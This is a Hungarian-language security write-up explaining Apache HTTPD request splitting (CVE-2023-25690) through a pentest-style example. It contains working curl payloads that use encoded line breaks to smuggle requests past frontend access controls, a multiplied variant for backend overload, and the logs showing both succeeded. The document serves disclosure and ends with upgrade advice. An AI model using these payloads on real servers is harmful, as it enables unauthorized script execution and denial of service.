Apache HTTPD Request Splitting - CVE-2023-25690
Az alábbiakban a népszerű Apache HTTPD webszerver egy viszonylag friss, kritikus sebezhetőségét szeretném bemutatni egy való életből vedd példán keresztül.
A sebezhetőség nem véletlenül kapott 9.8-as, kritikus pontszámot, hiszen viszonylag egyszerűen kihasználható, és látványos hibát okoz.
A hiba a HTTPD mod_proxy és mod_rewrite modulját célozza, a hiba kihasználásával nem ellenőrzött HTTP kérést „csempészhetünk” a backend szerverre, hasonlóan mint a „http request smuggling” esetében, viszont annál sokkal egyszerűbben.
Ezáltal a webapplikáció logikájától függően kikerülhetjük a frontend oldali ellenőrzéseket és tiltásokat, és/vagy nagyon egyszerű túlterheléses támadást indíthatunk a backend ellen.
Lássuk, hogy néz ez ki a gyakorlatban:
Az ügyfél a webszerverén cronjobként futtat egy PHP scriptet amely minden éjjel egy darab reportot generál az aznapi adatokból majd ezt elküldi néhány címzettnek emailben. A PHP script a backenden fut, a frontend oldali apache konfigurációban néhány IP címre van korlátozva az elérés, illetve látható egy viszonylag elterjedten használt reverse proxy beállítás:
RewriteEngine on
RewriteRule "^/products/(.*)" "http://localhost:10003/products.php?id=$1" [P]
ProxyPassReverse "/products/" "http://localhost:10003/"
Order deny,allow
Deny from all
Allow from X.Y.Z.W
Az Apache HTTPD sérülékenység:
Az Apache HTTPD 2.4.0-tól a 2.4.55-ös verzióig tartalmazza a sérülékenységet, így gyakorlatilag 10 éven keresztül tartalmazta a következő hibát:
Például a fentebbi RewriteRule alkalmazásakor és a mod_proxy modul használata mellett, egy HTTP kérésbe képesek leszünk egy vagy több másik HTTP kérést beágyazni, amelyet a backend oldali webszerver már külön HTTP kérésként fog értelmezni.
Alapesetben ha kívülről hívjuk meg a generate.php scriptet, akkor HTTP 403 választ fogunk kapni, tehát látszólag minden rendben van:
[user@pentest ~]# curl -I https://vulnerableserver.com/report/generate.php
HTTP/1.1 403 Forbidden
A sebezhetőséget ki tudjuk használni HTTP Header Injectionnel a következőképp: a fentebb látható rewrite rule az URL-ben található „products/1” stringet átalakítja „products.php?id=1” karaktersorozattá, de a modul hibája miatt, az utána következő HTML enkódolt szöveget is továbbítani fogja a webszerver, és a backend szerver felé is, ilyen módon felülírhatjuk azt a HTTP headert is, amit a frontend küldene a backend irányába.
Az alábbi parancsban a %20 a szóköz megfelelője, a %0d%0a pedig a sortörésé.
A curl parancs első része egy teljesen valid kérés a frontend szerver felé, a második része viszont már a becsempészett HTTP request amelyben a backendet célozzuk, és megpróbáljuk futtatni a frontenden tiltott generate.php scriptet.
curl https://vulnerablewebserver.com/products/1%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0a
Mivel a curl parancsunk, csak az eredeti, valid HTTP kérésre fog választ kapni, ezért kliens oldalon nem feltétlenül fogjuk látni, hogy a Request Smuggling sikeres volt-e, azonban a webszerver frontend és backend logokban láthatjuk az eredményt.
Az első kérésünkre csak a frontenden látjuk a 403-at, ez el sem érte a backendet, azonban a második kérésünk láthatóan célba talált a backenden, HTTP 200 response kóddal lefutott a script.
FRONTEND LOG:
10.1.2.3 - - [30/Nov/2023:12:46:04 +0100] "HEAD /report/generate.php HTTP/1.1" 403 - "-" "curl/7.29.0"
10.1.2.3 - - [30/Nov/2023:12:46:22 +0100] "GET /products/1%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0a HTTP/1.1" 200 3 "-" "curl/7.29.0"
BACKEND LOG:
::1 - - [30/Nov/2023:12:46:22 +0100] "GET /products.php?id=1 HTTP/1.1" 200 3 "-" "-"
::1 - - [30/Nov/2023:12:46:22 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
Ezzel tehát jogosulatlanul megfuttatunk egy PHP scriptet a backend webszerveren. Ez már önmagában probléma, de ennél is súlyosabb gondot okoz az, hogy a becsempészett HTTP kérések összefűzhetők az eredeti HTTP kérésben, így lehetőséget adnak egy nagyon egyszerű túlterheléses (DoS) támadásra, hiszen a GET request maximális hossza alapesetben 8190 byte lehet, így könnyedén multiplikálni tudjuk a második kérésünket:
curl https://vulnerablewebserver.com/products/1%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0a
A logokban pedig láthatjuk, hogy a frontenden egyetlen kéréssel tíz kérést intéztünk a backendhez. Ha kihasználjuk a teljes 8190 byte-ot könnyedén 30-40-szeres terhelést tudunk generálni a backenden, arról nem beszélve, hogy így általában a caching mechanizmusokat is ki lehet kerülni.
FRONTEND LOG:
10.1.2.3 - - [30/Nov/2023:12:07:51 +0100] "GET /products/1%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0a HTTP/1.1" 200 3 "-" "curl/7.29.0"
BACKEND LOG:
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /products.php?id=1 HTTP/1.1" 200 3 "-" "-"
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
Amennyiben a backenden futtatott script magas CPU és memória igényes műveletekkel (pl. adatbázis műveletek) jár, a szerver könnyedén megbénítható.
Megoldásként javasolt minimum a 2.4.56-os verzióra frissíteni.
Kulcsár László
Red Hat Certified Architect